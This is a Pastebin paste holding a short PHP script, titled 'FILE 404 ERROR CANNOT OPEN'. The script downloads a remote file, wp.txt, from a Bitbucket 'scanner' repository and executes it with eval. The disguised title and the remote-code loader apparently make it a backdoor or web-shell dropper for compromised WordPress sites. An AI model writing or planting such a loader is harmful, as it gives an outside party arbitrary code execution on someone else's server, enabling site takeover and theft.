Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- FILE 404 ERROR CANNOT OPEN
- <?php
- $url = "https://bitbucket.org/bananapink/scanner/raw/b10f400e2278358fe6f5a875f14ef90190a9db80/wp.txt";
- $ch = curl_init();
- curl_setopt($ch, CURLOPT_URL, $url);
- curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
- $result = curl_exec($ch);
- if ($result === false) {
- echo "Error fetching remote content";
- } else {
- // Assuming $result contains PHP code, execute it
- if (is_string($result)) {
- // Start output buffering
- ob_start();
- // Execute the fetched PHP code
- eval('?>'.$result);
- // Get the output buffer content and clean it
- $output = ob_get_clean();
- // Echo the output
- echo $output;
- } else {
- echo "Error: Invalid response from remote server";
- }
- }
- curl_close($ch);
- ?>
Advertisement
Add Comment
Please, Sign In to add comment